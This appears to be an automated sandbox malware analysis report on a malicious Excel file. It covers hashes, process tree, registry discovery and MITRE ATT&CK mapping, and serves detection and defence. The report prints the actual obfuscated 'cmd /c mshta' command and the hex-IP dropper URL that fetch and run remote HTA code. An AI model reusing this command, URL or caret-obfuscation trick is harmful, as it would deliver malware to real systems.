76b99443173be2dec302236f022b468a8f7314de6c460df50dfa9459fed95ba5

General

Target

76b99443173be2dec302236f022b468a8f7314de6c460df50dfa9459fed95ba5.xls
Size

70KB
MD5

f95aa6d5c18f3036140beb14e3712a44
SHA1

acb3572ae8edea44f053278aac70a3cb22b80411
SHA256

76b99443173be2dec302236f022b468a8f7314de6c460df50dfa9459fed95ba5
SHA512

799207488e97f745950f6d57ea83e97398987814536db7c12edf9ef92727183c4c3d6c71bf051c46f6c431996a0dc1ab793195d75820d1ea475b7889ffd321d1

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3004	3116	cmd.exe	67

Blocklisted process makes network request 1 IoCs

flow	pid	Process
37	3456	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3116	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE
3116	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3116 wrote to memory of 3004	3116	EXCEL.EXE	69
PID 3116 wrote to memory of 3004	3116	EXCEL.EXE	69
PID 3004 wrote to memory of 3456	3004	cmd.exe	71
PID 3004 wrote to memory of 3456	3004	cmd.exe	71

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\76b99443173be2dec302236f022b468a8f7314de6c460df50dfa9459fed95ba5.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3116
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3004
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    PID:3456

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3116-115-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/3116-116-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/3116-117-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/3116-118-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/3116-121-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/3116-128-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmp

Filesize
64KB

Download
memory/3116-129-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmp

Filesize
64KB

Download
memory/3116-287-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/3116-288-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/3116-289-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download
memory/3116-290-0x00007FFB04400000-0x00007FFB04410000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads